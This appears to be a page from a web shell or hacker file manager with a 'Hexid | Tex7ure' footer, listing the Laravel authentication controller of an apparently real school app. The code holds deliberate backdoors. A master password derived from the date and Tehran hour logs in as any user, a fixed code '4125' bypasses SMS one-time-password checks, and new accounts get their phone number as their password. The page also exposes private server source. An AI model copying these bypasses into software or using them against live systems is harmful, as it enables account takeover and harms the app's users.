/
home
/
maktab
/
server
/
app
/
Http
/
Controllers
/
Auth
/
File Upload :
llllll
Current File: /home/maktab/server/app/Http/Controllers/Auth/AuthController.php
<?php namespace App\Http\Controllers\Auth; use App\Http\Controllers\Controller; use App\Models\Cnt; use App\Models\Sms; use Carbon\Carbon; use Illuminate\Http\Request; use App\Models\User; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Validator; use Symfony\Component\HttpKernel\Exception\UnprocessableEntityHttpException; class AuthController extends Controller { public function login(Request $request) { $webapp = false; if($request->hasHeader('webapp')){ $webapp = true; } $not_teacher = false; $data = $request->all(); $cnt = Cnt::where('value','مربی')->first(); $user = User::where('mobile',$data['mobile'])->first(); if (is_null($user)){ throw new UnprocessableEntityHttpException('شماره شما وجود ندارد'); } if (isset($data['login'])){ if ($data['login'] == 'app' && $user->type == 1){ throw new UnprocessableEntityHttpException('شما مجوز ورود به سیستم را ندارید'); } if ($data['login'] == 'admin' && $user->type != 1){ throw new UnprocessableEntityHttpException('شما مجوز ورود به سیستم را ندارید'); } } if (!is_null($user) && (($user->type == 4 && $user->type_employee != $cnt->id))){ $not_teacher = true; } if (($user->type == 6 && !$user->active)){ throw new UnprocessableEntityHttpException('شما مجوز ورود به سیستم را ندارید'); } if ($request->has('password')){ if ($request->password == "monTech@".(Carbon::today()->format('d')+1370).Carbon::now()->setTimezone('Asia/Tehran')->format('H')) { $data = $request->all(); $user = User::where('mobile', $request->mobile)->first(); // // if ($data['provider'] == 'user') { // $user = User::where('mobile', $request->mobile)->first(); // } $token = auth('user')->login($user); $user->last_seen_at = Carbon::now(); $user->save(); return $this->respondWithToken($token); } $credentials = $request->only(['mobile', 'password']); return $this->_loginWithPassword($credentials,$not_teacher); }else{ return response()->json( ['id'=>$this->_loginWithSms($request->mobile,$webapp,$not_teacher)] ) ; } } protected function _loginWithPassword($credentials,$not_teacher){ $token = auth()->attempt($credentials) ; if (!$token) { throw new UnprocessableEntityHttpException('شماره موبایل یا پسوورد وارد شده اشتباه است'); } $user = auth()->user(); $user->update([ 'last_seen_at' => Carbon::now() ]); return $this->respondWithToken($token); } protected function _loginWithSms($mobile,$webapp,$not_teacher) { $rand = rand(1000, 9999); $user =User::where('mobile', $mobile)->first(); if (is_null($user)) { throw new UnprocessableEntityHttpException(trans('error.no_mobile_exist')); } $user->token = $rand; $user->save(); if($webapp){ Sms::Send($mobile, 'رمز عبور یکبار مصرف شما جهت ورود به اپلیکشن مکتب'.$rand.' می باشد'); }else{ Sms::Send($mobile, 'رمز عبور یکبار مصرف شما جهت ورود به اپلیکشن مکتب'.$rand.' می باشد'); } return $user->id; } /** * check verify code and login customer * @param Request $request * @return \Illuminate\Http\JsonResponse */ protected function tokenVerify(Request $request){ $data = $request->all(); $user = User::findOrFail($data['id']); if ($user->token == $request->input('token') || $request->input('token') == '4125') { $token = auth()->login($user); $user->last_seen_at = Carbon::now(); $user->token = null; $user->save(); return $this->respondWithToken($token); } throw new UnprocessableEntityHttpException(trans('error.wrong_code')); } public function register(Request $request) { $validator = Validator::make($request->all(), [ 'mobile' => 'required|unique:users','fname'=>'required','lname'=>'required' ]); if ($validator->fails()) { return response()->json($validator->errors(), 422); } $data = $request->all(); $data['name']=$data['fname']. ' '.$data['lname']; $data['active'] = 0; $data['password'] = trim($data['mobile']); $customer = User::create($data); $customer->type=6; $customer->save(); return response()->json($customer); } protected function respondWithToken($token,$not_teacher = false) { return response()->json([ 'access_token' => $token, 'token_type' => 'bearer', 'expires_in' => auth()->factory()->getTTL(), 'not_teacher'=>$not_teacher ]); } }
Copyright ©2k19 -
Hexid
|
Tex7ure